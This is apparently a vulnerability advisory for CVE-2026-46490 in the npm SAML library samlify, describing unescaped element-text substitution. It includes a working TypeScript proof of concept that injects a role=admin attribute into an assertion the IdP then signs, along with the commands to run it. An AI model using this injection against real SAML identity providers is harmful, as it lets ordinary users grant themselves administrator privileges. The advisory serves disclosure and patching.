PT-2026-42665 · Npm · Samlify

Published

2026-05-21

·

Updated

2026-05-26

·

CVE-2026-46490

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:
<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>
Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

  • poc/attribute injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
 context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
 attributes: [
  { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
 ],
};

const idp = IdentityProvider({
 privateKey: readFileSync('./test/key/idp/privkey.pem'),
 privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
 isAssertionEncrypted: false,
 metadata: readFileSync('./test/misc/idpmeta.xml'),
 loginResponseTemplate,
});

const sp = ServiceProvider({
 privateKey: readFileSync('./test/key/sp/privkey.pem'),
 privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
 isAssertionEncrypted: false,
 metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = ( idp: any, sp: any, binding: any, user: any) => (template: string) => {
 const now = new Date();
 const fiveMinutesLater = new Date(now.getTime() + 300 000);
 const tvalue = {
  ID: idp.entitySetting.generateID(),
  AssertionID: idp.entitySetting.generateID(),
  Destination: sp.entityMeta.getAssertionConsumerService('post'),
  Audience: sp.entityMeta.getEntityID(),
  SubjectRecipient: sp.entityMeta.getAssertionConsumerService('post'),
  NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
  NameID: user.email,
  Issuer: idp.entityMeta.getEntityID(),
  IssueInstant: now.toISOString(),
  ConditionsNotBefore: now.toISOString(),
  ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
  SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
  InResponseTo: 'request-id',
  StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
  attrUserEmail: user.email,
  attrUserInjection: user.injection,
 };

 return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
 const injection = [
  'safe',
  '</saml:AttributeValue></saml:Attribute>',
  '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
  '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
  '</saml:Attribute>',
  '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
  '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
 ].join('');

 const user = { email: 'user@esaml2.com', injection };
 const { context: SAMLResponse } = await idp.createLoginResponse(
  sp,
  { extract: { request: { id: 'request-id' } } },
  'post',
  user,
  buildTemplate(idp, sp, 'post', user)
 );

 const xml = util.base64Decode(SAMLResponse, true).toString();
 console.log('--- Generated XML snippet ---');
 console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

 const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

 console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
 console.error('PoC failed:', err?.message || err);
 process.exitCode = 1;
});
Run:
 npm install --legacy-peer-deps
 npx ts-node poc/attribute injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

Fix

Weakness Enumeration

CWE-91

Related Identifiers

CVE-2026-46490
GHSA-34R5-Q4JW-R36M

Affected Products

Samlify